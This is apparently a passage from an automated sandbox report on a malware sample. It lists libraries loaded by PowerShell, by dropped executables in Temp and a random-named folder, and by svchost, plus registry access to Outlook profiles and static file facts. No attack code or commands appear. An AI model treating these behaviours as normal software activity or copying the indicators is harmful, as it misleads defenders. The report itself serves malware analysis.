Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Section loaded: cscapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: apphelp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: sspicli.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: wininet.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: rstrtmgr.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: ncrypt.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: ntasn1.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: dbghelp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: iertutil.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: windows.storage.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: wldp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: profapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: kernel.appcore.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: winhttp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: mswsock.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: iphlpapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: winnsi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: urlmon.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: srvcli.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: netutils.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: dnsapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: rasadhlp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: fwpuclnt.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: schannel.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: mskeyprotect.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: msasn1.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: dpapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: cryptsp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: rsaenh.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: cryptbase.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: gpapi.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: ncryptsslp.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: ntmarta.dll
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Section loaded: uxtheme.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mscoree.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: kernel.appcore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: version.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: uxtheme.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: cryptsp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: rsaenh.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: cryptbase.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dwrite.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: msvcp140_clr0400.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.storage.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wldp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: profapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.applicationmodel.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: twinapi.appcore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wintypes.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.globalization.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: bcp47langs.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: bcp47mrm.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dwmapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: d3d9.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: d3d10warp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: urlmon.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: iertutil.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: srvcli.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: netutils.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windowscodecs.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: msasn1.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: msisip.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wshext.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: appxsip.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: opcservices.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: esdsip.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ncrypt.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ntasn1.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ncrypt.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ntasn1.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ncryptprov.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wtsapi32.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: winsta.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: powrprof.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: umpdc.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dataexchange.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: d3d11.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dcomp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dxgi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: resourcepolicyclient.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dxcore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: textshaping.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.web.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: winmm.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: textinputframework.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: coreuicomponents.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: coremessaging.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ntmarta.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: coremessaging.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: msctfui.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: uiautomationcore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: propsys.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: d3dcompiler_47.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wininet.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: sspicli.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: rasapi32.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: rasman.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: rtutils.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mswsock.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: winhttp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: iphlpapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dhcpcsvc6.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dhcpcsvc.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: winnsi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: dnsapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: rasadhlp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: fwpuclnt.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: secur32.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: schannel.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: installservice.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: userenv.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mpr.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mskeyprotect.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ncryptsslp.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: gpapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: slc.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: sppc.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mscms.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: coloradapterclient.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: ieframe.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: netapi32.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: wkscli.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windowscodecsext.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.staterepositoryps.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: edputil.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mlang.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: policymanager.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: msvcp110_win.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: twinui.appcore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: execmodelproxy.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: mrmcorer.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.staterepositorycore.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windows.ui.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: windowmanagementapi.dll
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Section loaded: inputhost.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: file.exe Static file information: File size 3272704 > 1048576
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File opened: C:\Windows\SysWOW64\msvcr100.dll
Source: file.exe Static PE information: Raw size of scoprlns is bigger than: 0x100000 < 0x2b3000
